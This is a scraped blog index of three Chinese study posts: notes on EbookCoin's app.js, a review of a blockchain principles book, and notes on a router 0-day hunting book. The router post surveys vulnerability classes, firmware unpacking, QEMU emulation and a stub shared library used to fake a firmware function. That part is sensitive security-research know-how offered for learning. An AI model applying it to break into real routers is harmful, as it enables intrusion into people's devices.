源码 0x2"},{"categories":null,"contents":"前 这次的一个period是基于《Nodejs区块链开发》这本书的的区块链项目–亿书，的源码学习笔记\nEbookCoin项目地址\napp.js 这个 app.js 是在node.js 中的入口程序文件，在其他情况下也可能是 server.js 。类似以python的顺序执行的模式。没有(可以用)一个main。\n模块依赖 下面的代码是 app.js 1~15 主要的是导入的模块。这里，一个个的search这些模块的功能\nvar program = require(\u0026#39;commander\u0026#39;); // 命令行框架开源包 commander.jsvar packageJson = require(\u0026#39;./package.json\u0026#39;); // 定义了这个项目所需要的各种模块var Logger = require(\u0026#39;./logger.js\u0026#39;); // 日志模块var appConfig = require(\u0026#34;./config.json\u0026#34;); // 全局默认配置var genesisblock = require(\u0026#39;./genesisBlock.json\u0026#39;); // 创世区块的设置var async = require(\u0026#39;async\u0026#39;); // 异步编程包var extend = require(\u0026#39;extend\u0026#39;); // 实现Obj的重载var path = require(\u0026#39;path\u0026#39;); // 处理路径的包var https = require(\u0026#39;https\u0026#39;); // TLS/SSL的包var fs = require(\u0026#39;fs\u0026#39;); // 文件系统包var z_schema = require(\u0026#39;z-schema\u0026#39;); // 同步异步？var util = require(\u0026#39;util\u0026#39;); // 模块支持包var Sequence = require(\u0026#39;./helpers/sequence.js\u0026#39;); // config.json\n在导入文件中，config.json 是全局配置文件。当参数少的时候，可以硬编码到代码里，当参数多的时候就是需要 全局配置文件。\n{ \u0026#34;port\u0026#34;: 7000, \u0026#34;address\u0026#34;: \u0026#34;0.0.0.0\u0026#34;, \u0026#34;serveHttpAPI\u0026#34;: true, \u0026#34;serveHttpWallet\u0026#34;: true, \u0026#34;version\u0026#34;: \u0026#34;0.1.3\u0026#34;, ... commander.js\nprogram .version(packageJson.version) .option(\u0026#39;-c, --config \u0026lt;path\u0026gt;\u0026#39;, \u0026#39;Config file path\u0026#39;) .option(\u0026#39;-p, --port \u0026lt;port\u0026gt;\u0026#39;, \u0026#39;Listening port number\u0026#39;) .option(\u0026#39;-a, --address \u0026lt;ip\u0026gt;\u0026#39;, \u0026#39;Listening host name or ip\u0026#39;) .option(\u0026#39;-b, --blockchain \u0026lt;path\u0026gt;\u0026#39;, \u0026#39;Blockchain db path\u0026#39;) .option(\u0026#39;-x, --peers [peers...]\u0026#39;, \u0026#39;Peers list\u0026#39;) .option(\u0026#39;-l, --log \u0026lt;level\u0026gt;\u0026#39;, \u0026#39;Log level\u0026#39;) .parse(process.argv); // 参数在这里 这里是使用 commander 模块对输入的启动参数(process.argv)进行解析。\n$ node app.js -p 8080 # 这里是启动进程的参数# 这样的话参数就被按序的保存在了program里program.port == \u0026#39;8080\u0026#39; // True 功能实现 20~70 实现了一个对于启动参数的解析和保存功能。\n35 周期性的调用，setInterval 可以对设置的函数进行周期性调用。\nif (typeof gc !== \u0026#39;undefined\u0026#39;) { setInterval(function () { gc(); }, 60000); // 1 min} 72 103 异常处理\n这里是对于这个app的异常处理的函数，一样的是回调。报一个 fatal 并且发送消息\nprocess.on(\u0026#39;uncaughtException\u0026#39;, function (err) { // handle the error safely logger.fatal(\u0026#39;System error\u0026#39;, { message: err.message, stack: err.stack }); process.emit(\u0026#39;cleanup\u0026#39;); // 发送信号给handler}); 这里，应该应该也是个异常处理，应该是同时会log异常产生的域\nvar d = require(\u0026#39;domain\u0026#39;).create();d.on(\u0026#39;error\u0026#39;, function (err) { logger.fatal(\u0026#39;Domain master\u0026#39;, { message: err.message, stack: err.stack }); process.exit(0);}); 101 logger的初始化\n78 缺省的硬编码配置，应该挺重要所以贴出\nvar config = { \u0026#34;db\u0026#34;: program.blockchain || \u0026#34;./blockchain.db\u0026#34;, \u0026#34;modules\u0026#34;: { \u0026#34;server\u0026#34;: \u0026#34;./modules/server.js\u0026#34;, \u0026#34;accounts\u0026#34;: \u0026#34;./modules/accounts.js\u0026#34;, \u0026#34;transactions\u0026#34;: \u0026#34;./modules/transactions.js\u0026#34;, \u0026#34;blocks\u0026#34;: \u0026#34;./modules/blocks.js\u0026#34;, \u0026#34;signatures\u0026#34;: \u0026#34;./modules/signatures.js\u0026#34;, \u0026#34;transport\u0026#34;: \u0026#34;./modules/transport.js\u0026#34;, \u0026#34;loader\u0026#34;: \u0026#34;./modules/loader.js\u0026#34;, \u0026#34;system\u0026#34;: \u0026#34;./modules/system.js\u0026#34;, \u0026#34;peer\u0026#34;: \u0026#34;./modules/peer.js\u0026#34;, \u0026#34;delegates\u0026#34;: \u0026#34;./modules/delegates.js\u0026#34;, \u0026#34;round\u0026#34;: \u0026#34;./modules/round.js\u0026#34;, \u0026#34;contacts\u0026#34;: \u0026#34;./modules/contacts.js\u0026#34;, \u0026#34;multisignatures\u0026#34;: \u0026#34;./modules/multisignatures.js\u0026#34;, \u0026#34;dapps\u0026#34;: \u0026#34;./modules/dapps.js\u0026#34;, \u0026#34;sia\u0026#34;: \u0026#34;./modules/sia.js\u0026#34;, \u0026#34;crypto\u0026#34;: \u0026#34;./modules/crypto.js\u0026#34;, \u0026#34;sql\u0026#34;: \u0026#34;./modules/sql.js\u0026#34; }}; 这里基本上是描述了功能所对应的模块\n108 这里的一个 d.run() 可能是打开了大门\n前面得知，d是我们创建的一个域，这里应该就是我们的域开始的时候了。这部分书中称为是模块加载。\n这里有个十分重要的东西 async。\nAsync is a utility module which provides straight-forward, powerful functions for working with asynchronous JavaScript.\n官方的描述，是该模块提供了一个处理异步的功能。这里的async.auto意味着代码的顺序执行.\nfunction auto\u0026lt;R extends async.Dictionary\u0026lt;any\u0026gt;, E\u0026gt;(tasks: async.AsyncAutoTasks\u0026lt;R, E\u0026gt;, concurrency?: number, callback?: async.AsyncResultCallback\u0026lt;R, E\u0026gt;): void 这个是auto函数的定义,可以看见, 在后面的如同 logger: function (cb) {\n这种形式的,实际上 logger 就是成为了一个任务task(这里本来就是要发生调度的)。那么这里就相当于定义了一组task。\n222 网络的初始化\n在书中，是直接跳过了前面的调度说明(虽说有点理解)，直接到了网络这个任务。\n下面是网络加载的部分代码：\nvar express = require(\u0026#39;express\u0026#39;);var app = express();var server = require(\u0026#39;http\u0026#39;).createServer(app);var io = require(\u0026#39;socket.io\u0026#39;)(server); 这里使用了 express 模块，这个是一个web 应用的开发框架.上面这段代码,算是对于网络服务的初始化,框架绑定 服务(HTTP),服务绑定 io(SOCKET).\n这里的Scope到底是怎么来的???可能是对这个执行原理是不清楚.不过书中是直接让理解成为从 config.js 的内容包含(即前面的所有模块).\n228 这里是对是否使用 SSL 的一个判断\nif (scope.config.ssl.enabled) { 可以在 Config.json 里找到对应的配置\n\u0026#34;ssl\u0026#34;: { \u0026#34;enabled\u0026#34;: false, \u0026#34;options\u0026#34;: { \u0026#34;port\u0026#34;: 443, \u0026#34;address\u0026#34;: \u0026#34;0.0.0.0\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;./ssl/ebookcoin.key\u0026#34;, \u0026#34;cert\u0026#34;: \u0026#34;./ssl/ebookcoin.crt\u0026#34; } 277 构建链接 实际上是网络模块直接的链接\n这里可以看到使用的模块,就会很多了.所以这里是实现模块间的功能链接\nconnect: [\u0026#39;config\u0026#39;, \u0026#39;public\u0026#39;, \u0026#39;genesisblock\u0026#39;, \u0026#39;logger\u0026#39;, \u0026#39;build\u0026#39;, \u0026#39;network\u0026#39;, function (cb, scope) { 这部分,是真的有点模糊,什么中间价之类的…实际上这里的app是我们的express的框架,那么这里的use,理应是对框架所使用的功能的配置.\n310 这里可能是对我们的http请求的解析\nvar parts = req.url.split(\u0026#39;/\u0026#39;); 这里分割 url ,把请求分词存在part里面.这里是解析的函数.\nif (parts.length \u0026gt; 1) { if (parts[1] == \u0026#39;api\u0026#39;) { if (scope.config.api.access.whiteList.length \u0026gt; 0) { if (scope.config.api.access.whiteList.indexOf(ip) \u0026lt; 0) { res.sendStatus(403); } else { next(); } } else { next(); } } else if (parts[1] == \u0026#39;peer\u0026#39;) { if (scope.config.peers.blackList.length \u0026gt; 0) { if (scope.config.peers.blackList.indexOf(ip) \u0026gt;= 0) { res.sendStatus(403); } else { next(); } } else { next(); } } else { next(); } } else { next(); }}); 343 开始服务监听\n这个 Listen 我当然懂..终于由开的明白的了,在指定地址,和端口进行监听\nscope.network.server.listen(scope.config.port, scope.config.address, function (err) { “Ebookcoin started”\n386 逻辑加载 ,可能是针对模块间的逻辑,进行的 New.\n418 模块加载, 卒\nTodo 文件总结 app.js 是第一个启动文件, 也是最重要的一个,这里实现了模块的加载,功能的初始化,最重要的是实现了全部的 任务的调度, 由于对于async的不熟悉,和网络框架的不了解,对全局上的实现,还是理解较弱,不过,随着后面的学习,理解程度肯定会加深,来补充 TODO\n","date":"2018-05-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/05/2018-05-01-ebookcoin-%E6%BA%90%E7%A0%81-0x1/","tags":null,"title":"EbookCoin 源码 0x1"},{"categories":null,"contents":"前 可能自己渴望一个更高知的环境\n简介 书名：区块链原理设计及应用 作者：杨保华 陈昌 ISBN：9787111577829 区块链和机器学习被誉为未来十年最有可能提供人类社会生产力两大创新科技。\n区块链杂谈 在比特币项目的发展过程中，借鉴了来自 数字货币，密码学，博弈论，分布式系统，控制论等多个领域的成果。\n比特币系统首次真正的从实践意义上实现了安全可靠的去中心化数字货币机制\nBitCoin 解决了现有的数组货币的以下问题\n被掌握在单一的机构中容易被攻击 自身的价值无法保证，容易出现波动 无法匿名交易，不够匿名 运用之心夺造化，存乎一心胜天工。\n区块链系统和普通的分布式系统不同，其处理性能很难通过单纯的增加节点数进行横向的扩展。实际上，传统区块链的系统的性能，在很大的程度上取决于单个节点的处理能力。高性能，安全，稳定性，硬件辅助加解密能力 是考察节点性能的核心要素。\n严格意义上讲，货币(money)不等于现金或者通货(cash/currency),货币的含义更加广泛。在比特币白皮书的原版中(Bitcoin: A Peer-to-Peer Electronic Cash System)使用的是cash！\n书中提出的一点设想，这里引用之:\n大胆的预测，未来可能出现更具针对性的”BlockDB”,专门服务类类似的区块链这样的新型数据业务。最小的操作单位是一个块。\n未来的几年内，区块链的演化应用场景有如下:\n金融服务 征信和权属管理 资源共享 贸易管理 物联网 (未来几年再租赁，物流等场景可能会有大规模应用。但是目前阶段，物联网自身的技术局限短期内是不会有大规模应用) 这里针对书中物联网，展开。\n典型应用场景分析:给每个物联网设备分配一个地址，给该地址关联一个账户，用户通过账户支付，可以实现设备的租赁，达到一个承载价值的物联网。在此中，物联网的设备数量增多，边沿计算的增强，大量设备之间形成的分布式自组织的管理模式，而且具有很高的容错性。总结讲：区块链技术所具有的分布式和抗攻击的特点可以很好的融入\n不过国外实际上早有以个成熟的项目 Slock，其主要的模式，是iot设备抽象成了一个锁\nSlock Prj\n这里我们设想，要是共享单车使用这种技术，那么架构，将会是巨大的改变。在2015 年 IBM已经与Samsung合作进行去中心化的P2P物联网技术。\n在书中提到了IOT安全 这个Point 已经被提出了实在是遗憾\nNeuroMesh Prj 物联网疫苗\n包括公共网络服务，DNS。DNS是一直被诟病的系统，一个只有13个根节点，全球的域名托付于此，所以，这种共有的系统的去中心化是趋势和必然。\nEmercoin Prj 崛起币\n区链原理 区块链共识 一致性 区块链作为一个分布式系统，其首要问题是 一致性(Consistency) 。在区块链中，有多个服务节点，可以试图他们的处理结果达成某种共识。这种共识叫做区块链共识。\n一致性并不代表着结果的正确与否，实际是是这个分布式系统对外呈现的结果的一致。\n分布式系统最大的套装，就是在这个一致性，按照书中的例子，比如我们买火车票，全国的人们都可以去买一张票，然而售票处是全国都有的，所以如何保证，这个票最终只会被卖给一个正确的人。这个就是一个一致性的算法，实际是叫做 Paxos （这个在区块链核心算法中有讲到），这种思想，就是对可能引发不一致的并行操作进行串行化。\n共识算法 共识(Consensus)和一致性(Consistency)实际是不是一个东西，从文中的理解来说，共识是一个过程，一致是一个状态。所以，共识算法的存在，就是使得区块链整体趋于一致的东西。在我们熟悉的BTC中，用于实现的共识算法，很简单。谁最长且合法，谁就是对的，在这个过程中中本聪先生引入了 PoW 机制，使得加入了成本和概率，所以说区块链技术，是对很多学科的一种综合\n这部分可以看详细文章:拜占庭将军和共识算法\nFLP不可能原理: 即使在网络通信可靠的情况下，可拓展的分布式系统的公式问题，其通用解法的下限是–没有下限（无解）。\n在网络可靠，但运行节点失败(即使只有一个)的最小化异步模型系统中，不存在一个可以解决一致性问题的确定性共识算法\n(No completely asynchronous consensus can tolerate even a single unannounced process death)\n这个 FLP 可以称为分布式领域里的 “测不准原理” ， 不要浪费时间，去为一部分布式系统设计在任意场景下都能实现共识的算法\n关于 FLP 算法，实际上是在图论中有了系统的证明，但是在文章也是举了一个通俗的例子:\n比如，在一个投票里面，有ABC，三个投票者，他们可以在任何时候投票(异步)，他们之间可以通过电话通信(可靠网络)，只是他们可能有时候会睡着。所以这里就出现了一个情况，任何一个人都有睡着的可能，那么获取投票的结果需要三个人都完成投票，才能实现系统的共识,即完成此次投票，产生结果，所以当有一个人睡着后，这个共识系统的共识结果将永远的不会得知，直到那个人醒来。\n通过这个例子实际上说明了:纯粹的异步系统无法保证一致性在有限的时间内完成。但是，这种一致性我，称之强一致性。\nCAP 原理 在上面的FLP中，并不是说明共识是不可能实现了。实际上的应用远没有那么理论；这就是工程师和科学家\n文章中有一句话，很棒:\n科学家告诉你去赌博从概率上讲总是会输钱；工程师则告诉你，如果你愿意接受最终输钱的风险，中间说不定可以小赢几笔钱。\nCAP原理，实际上来自于三个单词: Consistency,Availability,Partition\n分布式计算系统，不可能同时确保以下三个特性: 一致性(Consistency)，可用性(Availability)，分区容忍性(Partition),设计中往往需要弱化某个特性的保证。\n一致性:任何操作应该是原子的，发生在后面的时间能看到签名事件发生所导致的结果，（强一致性）。 可用性:在有限的时间内，任何非失败的节点都可以应答请求 分区容忍性:网络可能发生分区，即节点之间的通信不可保障。 对于网络分区的理解:网络可能出现分区时，系统是无法保证一致性和可用性的。要么，节点收到请求后因为没有其他节点确认而不应答(牺牲可用性)，要么节点只能应答非一致性的结果(牺牲一致性)。个人理解为，网络被分区，或者说分片\nACID 原则 原子性(Atomicity),一致性(Consistency)，隔离性(Isolation)，持久性(Durability)。\n操作原子性，要么成功，要么不做。状态一直，无中间态，彼此的操作独立，改变持久，不会有时效性。\nPAXOS算法！ 后面深入学习。\n密码学基础 该部分有部分基础，简略带过，主要记录 Kayward\nHash：正向快速，逆向困难，输入敏感，冲突避免\n对称加密：加解密速度快，前提是双方提前持有密钥。\n非对称加密：不需要提前密钥（RSA）广泛用于非可信信道\n混合加密：TLS 握手协商过程\n消息认证码(对称)：HMAC(Hash-based Message Authentication Code) 验证消息完整性 integrity\n数字签名(非对称)：盲签名，多重签名，群签名，环签名。验证消息完整性 integrity\nPKI体系：PEM证书\n默克尔树 默克尔(Merkle)树，又名哈希树，是一种典型的二叉树结构，在区块链出现之前，是广泛的应用在文件系统和P2P系统中\n这里是一篇默克尔树的简介\nWhat is Merkle-Tree\n在这个结构中，一个巧妙的应用是零知识证明，以图为例，在图中我们只需要提供 Habc，Hab，Hb，那么验证者，就可以进行Ha的合法性检验，而不需要知道Ha的具体内容。通俗讲，我不需要告诉你这个东西的具体细节，就可以证明这个东西的正确\n零知识证明\n布隆过滤器(Bloom Filter) 布隆过滤器是一种基于Hash的高效的查找结构。可以在常数时间内回答”某个元素是否在一个集合内”。\n布隆过滤器是一种基于hash查找的优化，\nHash查找：Hash的本身可以使得任何输入得到一个定长的输出，所以，我们可以分配一个内容的数组，使得我们的Hash的函数的值不超过数组大小，，这样就可以实现快速的信息索引。\n比如，H(“hallo”) == 100, 那么我们就把它放在 数组的索引为100的地方。这样的话查找任何内容，只需要进行一次hash就可以找到。\n不过，问题存在时，如果我们的Hash的范围过大，那么就需要大量的内存分配，导致利用率太低。可是如果 Hash的输出范围过小，就很容易发生碰撞(collision)。所以在这两方面的制约下，就演化出了布隆过滤器。\n在 布隆过滤器 采用了多个Hash函数，得到了多组结果，从而提高对空间利用率。在这多个地址上把值置1，如果我们输入新的数据，存在着多个对应地址都是1，说明有较大几率是该记录。\n所以布隆过滤器在提高空间利用率的前提下，降低了hash 碰撞率(重复率)。\n同态加密 这个是区块链目前的一个发展方向，因为同态加密技术，可以很好的适用于解决链上数据透明的情况。\n同态加密(Homomorphic Encryption),允许对密文进行处理得到的依然是加密的结果，从抽象代数的角度讲，是保持了 同态性\n密文直接处理，根明文进行处理之再加密，得到的结果相同。\nEn(X*P(Y)) = En(X)*P(E(Y)) 上面的P就是同态加密的过程。\n。。。 略去部分内容\n目前，已知的同态加密的技术往往需要较高的计算时间或者存储空间。相信，不远的将来，会有革命。\n比特币 2008/10/31 中本聪**(Satoshi Nakamoto)**发布比特币白皮书\n2009/1/3 18:15:05 比特币的创世纪\n基本的交易流程，基于UTXO(Unspent Transaction Outputs)的模型，每个解一包含一些输入输出，未经使用的交易输出可以被新的交易引用作为合法输入，被使用过的交易的输出则无法被引用为合法输入。\n最小的转账单位是 0.0001BTC 最小的交易单位是 0.00000001BTC (即 1聪 )\n比特币的账户地址 实际上非对称加密中的公钥，进行一系列的 Hash 即编码生成的 160位 20字节的的字符串。一般的，对账户的地址串进行 Base58Check 编码，被添加前导字节(说明支持哪种脚本)和4字节的校验字节。\n比特币交易脚本 每个交易会有输出脚本(scriptPubKey)和认领脚本(scriptSig)。输出脚本用于对收款方对该笔输入的使用限制。认领脚本 是证明自己可以满足仅以输出脚本的锁定条件。\n这篇文章的后部，有关于区块的部分简介\nPy区块链源码笔记\n由于区链的性质，对区块链进行完整性的校验是很容易，只需要校验每个区块的区块头信息，不需要得到内容，这个是**简单交易认证(Simple Payment Verification SPV)**的基本原理。\nBTC 的设计创意 避免作恶 使用了经济博弈论的思想来避免作恶，我们无法确保每个人都是合作的。但是我们可以通过经济博弈使得合作者得到利益，让非合作者遭受损失和风险。 在比特币网络中，每个参与网络的(矿工)都要付出挖矿的成本代价，进行计算能力的消耗，在概率角度，越想拿到新区块的记账权，则付出的算力也会越多。一旦是一次失败的争夺，那么付出的算力讲是被没收掉。所以意味着一次作恶所需要的成本可能远远高于所带来的收益。\n负反馈调节 在比特币网络上很好的使用了负反馈控制论基础原理。网络中的矿工越多，系统越稳定，比特币的价格也越高，但是也更难得到区块奖励。所以比特币的价格应该会稳定在一个合适的值，使得出产量和价格的积符合矿工的预期。(具体的区块链网络会进行自己的难度调节)\n共识机制 传统共识机制往往考虑是一个相对封闭的分布式系统中，允许存在故障节点，也能达成共识。但是对比特币网络来讲，这个是高度开放性的，人人可接入，所以面临的问题会更加的复杂，那么传统的共识算法可能会无法使用。\n所以，比特币网络对共识的目标进行了进一步的限制，提出了基于 PoW 的共识机制。这种机制，不是面向最终的确认共识，而是基于概率，随时间逐步加强确认的共识。现有的共识在理论上是可能被推翻，但是随着时间的演进，攻击者所付出的代价会随着时间指数上升，被推翻的可能性也随指数下降。\n此外，由于Internet的尺度之大，所以按照区块为单位进行确认(快照)，从而提高网络整体的可用性。此外，限制网络中的共识噪声。通过大量的Hash和少数的合法性结果来限制合法提案的个数 可以进一步提高稳定性。\n挖矿 。。。 这部分采用Keyword\n四年一减产 十分钟一区块，难度自动调整(两周) 避免震荡，每次难度最多是4倍 历史上最快出块10S，最慢1H 看见我们的 Satoshi 先生真的考虑到了太多太多的因素！\n比特币的区块链(通过挖矿)提供了一个局部的，迄今为止最优的解决方案:如何在分散的系统中验证信任。\n所以，意味着，区块链系统，本质上解决了传统的依赖于第三方的问题。因为这个协议不只满足了中心化机构追踪交易的需求，还使得陌生人之间产生信任。区块链技术和安全的过程使得陌生人之间在没有被信任的第三方时产生信任\n在当前所由的其他的证明机制(PoW,PoS,PoA…)，这些证明机制都无法解决所有的问题，在原作者提出的，一种可能是 以入随机代理人制度 ，通过算法在某段时间确保只是让部分的节点参加共识的提案，并且发放一部分的奖励给所有在线贡献的节点。\n共识机制 工作量证明 在大量的Hash下只有少数的合法提案。可得合法提案者需要付出工作量。\n少数的合法提案会在网络上进行广播，用户收到广播后，停止当前计算，立马开始在新的最长链的基础上进行计算。由于网络尺度大，所以可能出现分叉(Fork)现象，但是最终会是一条最长链。\n权益证明 PoS 这个是在2013年提出，在peercoin 中实现，类似于现在的股东机制，用于越多的股份(币)的人越容易获得记账的权力。\n典型的过程是，通过保证金，来对赌一个合法的块称为一个新的区块。虽说这种机制试图解决PoW中的资源浪费的问题，不过实际上，这种机制导致的结果是屯币,一样的回事流通的量减少。\n闪电网络 在BTC的网络环境下，最为诟病的是其交易性能，现在的全网只有 7TPS(Transcation Per Second)这样的吞吐量，显然远低于现代需求，而且， 6min/block的块确认速度，导致完全可信交易需要等待1H以上(6个确认)。所以为了提高速度，社区提出了闪电网络(Lighting Network),其思路是 把大量交易放在链外进行，只把关键环节放在链上\nBTC区块链的机制自身提高了极高的可信保证，但是相对较慢。那么，我们的大量的小额交易是否需要如此之高的可信。这个可能就是闪电网络的思想起源\n所以现在的闪电网络主要是通过引入智能合约的思想来完成链下的交易渠道。核心概念由两个\nRSMC (Recoverable Sequence Maturity Contract) 可撤销的顺序成熟合同 HTLC (Hashed TimeLock Contract) 哈希的带时钟的合约 RSMC 这个中文是麻烦，不过作者在书中讲解的是，实际上原理很简单，类似于一个资金池机制。\n假定双方之间存在一个 “微支付通道”(资金池)。双方都进行一些金额的预存，每次进行支付时，即双方进行签名认证，只是在池内进行资金份额的分配，当需要进行提现的时候，才需要把资金池的分配情况写回区块链，所以这个主要的过程(资金池)完全可以在链下实现。\nHTLC 实际上可以称作，限时转账。通过智能合约，双方约定先对转账方一笔钱进行冻结，并且提供一个Hash,如果在一定的时间里，有人可以提出一个字符串使得，其哈希之后和已知的哈希值匹配(实际上意味着，转账方授权了接收方对该冻结金额进行提现)，之后这笔钱才真正的给了接收方(reciper)\n综上 ：在闪电网络中，RSMC 保证了两个人的交易可以在链下完成，HTLC 保证了任意两人之间可以通过虚拟通道进行链下的支付。\n侧链 这个是个蛮重要的功能，自己之前没有理解。侧链就是以比特币为主链(Parent Chain)，其他的区块链为侧链，二者通过双向挂钩(Two-Way Peg),实现了比特币可以到侧链中进行流通。\n侧链是一个独立的链，可以有自己的账本，共识机制，交易类型，等等。侧链不能发行BTC，不过可以通过从主链，取引入一定数量的BTC，在侧链中流通，侧链流通中的比特币，在主链上时会被锁定，直到侧链的币回到主链之中。\n侧链的机制，可以将一些定制化或者高频的交易放在主链之外进行，实现了BTC的区块链拓展性。\nSPV 证明 在比特币的区块链中，交易的合法性，是通过UTXO实现的。但是很多时候，用户只是关心，自己的相关的那些交易，而不需要对一个UTXO的交易链进行校验。这里就是中本聪先生设计的 ： SPV(Simplified Payment Verification) 的机制.简单支付验证，可以通过较小的代价判断某个交易是否已经被区块链所确认，以及得到多少有效算力的保护(多少确认)。\nSPV 客户端只需要下载所有的区块的区块头。进行SPV证明 ： 一组区块头的列表，表示工作量证明；一个特定输出确实存在某个区块的密码学证明。\n问题 区块容量：更大的容量，由更高的吞吐性能，但是增加挖矿成本，由中心化的风险，和更大的存储空间的需求。 出块时间的间隔：这样回事确如时间缩短，但是增加了分叉的可能 脚本支持 交易延展性(Transaction Malleability) 是比特币的一个设计缺陷。在交易发起者对交易签名后，交易的ID仍然有可能改变。\n扩容圣战: 隔离见证(Segregated Witness)\n以太坊 Ethereum,2015/7 主网运行。\n采用了账户模型，为每一个地址有一个世界变量\n开发库：\ngo-etheremu Parity cpp-ethereum ethereumjs-lib EthereumJ ethereumH pyethapp ruby-ethereum 关于以太坊的简介即教程之前是有的，所以这部分由于文中没有就其特点做深入的探讨，主要篇幅在与智能合约应用，所以这部略去。\nHyperLedger 超级账本是linux基金会下面的一个杀手级的项目。向作为自己学习的一个重点方向，此书的后半部分，主要针对其应用和部署做了大量的讲解，所以，为了定位明显，后面将会以超级账本的转向进行学习。\n故此处略去大量内容\n后 这本书，由浅至深的讲解了区块链体现设计的方方面面，真的可谓是从出色到卓越。通过此书，也是补习了很多基础知识，和新的概念，作为一个入门书籍，十分不错。夜深，睡。\n2018/5/1 3:43:45\n","date":"2018-04-30T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/04/2018-04-30-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E5%8C%BA%E5%9D%97%E9%93%BE%E5%8E%9F%E7%90%86%E8%AE%BE%E8%AE%A1%E5%8F%8A%E5%BA%94%E7%94%A8/","tags":null,"title":"读本好书 《区块链原理设计及应用》"},{"categories":null,"contents":"前 我想未来对安全方面的需求会越来越大，随着这个体系的越发庞大，其潜在的安全威胁，可能愈发的丰富。\n简介 书名：揭秘家用路由器0Day挖掘技术 作者：吴少华 ISBN：9787121263927 硬件安全，将会随着物联网的兴起得到苏醒，而且变得更加的多元化\n本书分为 三个部分\n基础知识 原理与应用 分析与利用 同样这里对内容，所学做极简要总结。\n基础知识 路由器漏洞分类：\n密码破解漏洞 WPA/WPS/WEP WEB漏洞 SQL注入/远程命令执行/跨站脚本 特定后面 调试端口/admin 溢出漏洞 这个算是系统级别的 路由的web安全和服务器web安全类似。\n常见的路由器其处理器结构基本是都是 MIPS 运行精简 LINUX ， 主要的基本 shell 功能由 BusyBox 实现\nbusybox ls -lbusybox cd... 路由器中的ls等基本命令由busyBox的链接实现。\nGNU 工具集 GCC 常用功能，不做展开。 GDB 作为主要调试器 命令常用需要掌握\nGDB十分钟教程\n值得注意的是，在使用GDB调试之前，elf文件需要包含调试信息\ngcc -ggdb main.c MIPS汇编及体系 （感觉除了X86汇编，其他的都十分奇怪。。。）\n一个32个寄存器，特殊的是 $0 寄存器，的值总是零，提供需要用到0的地方。29 = sp，30 = fm，31 = ra （返回）\nMIPS是大端序(BIG_endian)，和网络字节序相同\n高在高位是小端，高在低位是大端\n{num[n],num[n+1],num[n+2],num[n+3]} #MSB (Most Significant Byte){num[n+3],num[n+2],num[n+1],num[n]} #LSB (Least Significant Byte) “大端”和“小端”可以追溯到1726年的Jonathan Swift的《格列佛游记》，其中一篇讲到有两个国家因为吃鸡蛋究竟是先打破较大的一端还是先打破较小的一端而争执不休，甚至爆发了战争。\nHTTP协议 路由器的很多漏洞是存在于 Web服务器没有正确的仅需攻击者所发送的HTTP请求。\nHTTP请求行\n[Method] [Request-URI] [HTTP-Version] [CRLF] eg: GET /from.html HTTP/1.1 (CRLF) (CRLF是Carriage-Return Line-Feed的缩写，意思是回车换行，就是回车(CR, ASCII 13, \\r) 换行(LF, ASCII 10, \\n))\n这里规定，必须是以 CRLF 结尾，不允许出现单独 CR(回车)/LF(换行),“\\r\\n”,“\\x0D\\x0A”。\n（之前一个Qt用socket实现的http请求，不能得到正确GET的Respond 的原因）\nMethod 有很多种 GET/POST/HEAD/PUT/DELETE/TRACE/CONNECT/OPTIONS.\nPOST克服了GET方法的一些缺点。因为通过Post进行表单数据的提交的时候，数据本身不是URL请求的一部分，而是作为标准数据传送给服务器，这点克服了GET进行数据传递的时候信息无法加密和提交数据量太小的缺点。\nHTTP报头\nAccept: 表示希望接收的资源类型\nAccept-Encoding: 表示内容编码\nCookies: 表示客户端向服务器进行Cookies认证的信息\nAccept-Encoding: 指定一种自然语言 Host:主机及其端口号，默认80，通常从URL中得到\nUser-Agent： 用户代理，实际上包含着用户的部分信息，系统，浏览器内核等等 请求头示例：\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Cache-Control: max-age=0Connection: keep-aliveCookie: BAIDUID=5E1B56CB86750A3F365EDFC9FA1DA1A9:FG=1; BIDUPSID=E3A36946B81579878C6378864B750C4A; PSTM=1512745351; Hm_lvt_55b574651fcae74b0a9f1cf9c8d7c93a=1524673678,1524718817,1524727227,1524729701; Hm_lpvt_55b574651fcae74b0a9f1cf9c8d7c93a=1524729701; H_PS_PSSID=1420_21106; BDRCVFR[gltLrB7qNCt]=mk3SLVN4HKm; PSINO=7; pgv_pvi=3976877056; pgv_si=s5736833024DNT: 1Host: baike.baidu.com 软件工具 主要是虚拟机，IDA，BinWalk，QEMU。这些工具。\n前两种不多做介绍了，虚拟机，和静态反编译工具。\nBinWalk，主要用于对于固件包的自动化解包和分析，可以对目标架构，和目录结构，内核版本等等的信息进行自动分析。\nBinWalk的使用\nQEMU 和 Bochs 类似是一个处理器模拟软件，在环境中，我们配合MIPS的交叉编译工具，可以实现一个本机模拟的MIPS的机器平台，方便我们进行各种测试。\n路由0day基本挖掘方法 对路由0day挖掘的初步方法大致以下\n固件分析 使用BinWalk对固件进行解包，提取其中的关键文件进行分析。\n动态运行库的劫持\n对于一些关键的so(Sharded Object) 的里面的函数进行重写，即保留同样的函数符号，使用我们自己的函数内容实现一个新的so文件，并且替换源文件。\n#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;stdlib.h\u0026gt;int apmib_init(void){ //Fake it return 1;}$ mips-linux-gcc -fPIC -shared apmib.c -o apmib-ld.so 实际上的过程，涉及到对so文件的静态分析，通过IDA对器进行逆向分析，在保留器原有函数的基础上，对部分的符号代码进行修改。\n路由器安全 web部分 该书的这部分很简略，篇幅在几页，主要讲了有 XSS 和 CSRF。\nXSS(Cross Site Scipting)，防止和 CSS(Cascading Style Sheets) 起名为 XSS。具体就是恶意的JS脚本插入，分为反射型和存储型。前者是主动触发，我们可以找到XSS点，构造反射链接，发送给受害者，存储型，常见的就是留言板。233\nCSRF(Cross-Site Request Forgery) 是一种对网页的恶意利用。和XSS有着十分大的差别。其实际上不是通过插入的JS实现功能，实际上是对网页原文进行劫持之后进行的修改，最终实现了自己的代码会在目标主机执行。\n路由器后门\n这种漏洞出现于官方的预留的端口，或者其他的超级密码。 路由器溢出漏洞 